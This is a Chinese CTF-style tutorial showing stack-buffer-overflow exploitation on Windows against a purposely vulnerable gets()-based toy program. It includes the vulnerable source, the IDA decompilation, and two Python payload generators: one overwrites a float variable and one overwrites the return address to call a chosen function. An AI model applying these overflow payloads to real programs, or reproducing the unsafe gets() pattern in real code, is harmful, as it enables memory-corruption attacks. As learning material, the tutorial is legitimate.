CTF pwnWindows下尝试栈溢出执行任意函数

Posted hans774882968

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTF pwnWindows下尝试栈溢出执行任意函数相关的知识,希望对你有一定的参考价值。

buu-ciscn_2019_n_1是一道可以通过栈溢出修改变量为所需值的入门pwn。这题有两个解法,我受到这题的启发,搞一个Windows版本的小实验。

目标:执行函数func

环境:Windows10,编译出的exe是32位的;小端存储。

编译命令:g++ 1.cpp -g -o 1.exe,g++版本:

Thread model: win32
gcc version 8.2.0 (MinGW.org GCC-8.2.0-5)

作者:hans774882968以及hans774882968

文章目录

实验准备

注意:需要保证变量s在栈中的地址低于v,否则就不存在解法1。

编译代码

#include <bits/stdc++.h>
using namespace std;
typedef long long LL;
#define rep(i,a,b) for(int i = (a);i <= (b);++i)
#define re_(i,a,b) for(int i = (a);i < (b);++i)
#define dwn(i,a,b) for(int i = (a);i >= (b);--i)

const int N = 105;

void dbg() 
    puts ("");

template<typename T, typename... R>void dbg (const T &f, const R &... r) 
    cout << f << " ";
    dbg (r...);

template<typename Type>inline void read (Type &xx) 
    Type f = 1;
    char ch;
    xx = 0;
    for (ch = getchar(); ch < '0' || ch > '9'; ch = getchar() ) if (ch == '-') f = -1;
    for (; ch >= '0' && ch <= '9'; ch = getchar() ) xx = xx * 10 + ch - '0';
    xx *= f;

void read() 
template<typename T, typename ...R>void read (T &x, R &...r) 
    read (x);
    read (r...);


void func() 
    re_ (_, 0, 2) puts ("Congratulations!!!");


// void showFloatBin (float v) 
// int *f = (int *) (&v), u = 0;
// re_ (i, 0, 32) 
// u |= ( (*f) & (1 << 31 - i) ? 1 : 0) * (1 << 31 - i);
// 
// printf ("%x\\n", u);
// 

int main (int argc, char **argv) 
    // showFloatBin (114.514);// 42e5072b
    float C = 114.514f;
    float v;
    char s[10];
    gets (s);
    float tmp = fabs (v - C);
    dbg (v, tmp, v == C);
    if (v == C) func();
    else puts ("v should be 114.514!");
    return 0;

解法1

打开IDA,字符串v7在栈中的地址为bp-16h,我们希望修改的变量v8(即源码中的变量v)的地址为bp-Chv8在高地址,所以可以通过栈溢出修改变量v8。IDA反编译的代码如下:

int __cdecl main(int argc, const char **argv, const char **envp)

  double v3; // st7@1
  float Buffer; // ST00_4@1
  float v6; // [sp+14h] [bp-1Ch]@1
  char v7; // [sp+1Ah] [bp-16h]@1
  float v8; // [sp+24h] [bp-Ch]@1
  char v9; // [sp+2Bh] [bp-5h]@1
  float v10; // [sp+2Ch] [bp-4h]@1

  __main();
  v10 = 114.514;
  gets(&v7);
  v3 = v8 - v10;
  Buffer = v3;
  std::fabs(Buffer);
  v6 = v3;
  v9 = v10 != v8 ? 0 : 1;
  _Z3dbgIfJfbEEvRKT_DpRKT0_(&v8, &v6, &v9);
  if ( v10 == v8 )
    func();
  else
    puts("v should be 114.514!");
  return 0;

114.514f的16进制为42e5072b,由于本机为小端机(低地址低位),需要反转一下。

代码

bs = '2b 07 e5 42'
payload = b'a' * (0x16 - 0xC) + bytes([int(v,16) for v in bs.split(' ')])

with open("solve1","wb") as f:
    f.write(payload)
    f.write(b'\\n')

运行代码生成solve1文件后,将其作为1.exe的输入。解法1效果:

(cmd)1.exe < solve1
114.514 0 1
Congratulations!!!
Congratulations!!!

解法2

直接通过栈溢出覆盖return address,具体原理是C语言内存分布,参考

func的地址:.text:0040142B ; _DWORD func(void)

bs = '2B 14 40 00'
payload = b'a' * (0x16 + 4) + bytes([int(v,16) for v in bs.split(' ')])

with open("solve2","wb") as f:
    f.write(payload)
    f.write(b'\\n')

后续操作同上。解法2效果:

(cmd)1.exe < solve2
2.59846e+020 0 1
Congratulations!!!
Congratulations!!!

解法2把v8~v10的每个字节都覆盖为'a',所以v8 = 0, v9 = 1

以上是关于CTF pwnWindows下尝试栈溢出执行任意函数的主要内容,如果未能解决你的问题,请参考以下文章

PWN菜鸡入门之栈溢出

ctf pwn 栈溢出攻防演绎流程图及学习路径v1.0(从入门到进阶,个人整理,持续更新)

栈溢出练习

关于栈迁移的那些事儿

记一次漏洞挖掘网络安全

PWN之Canary学习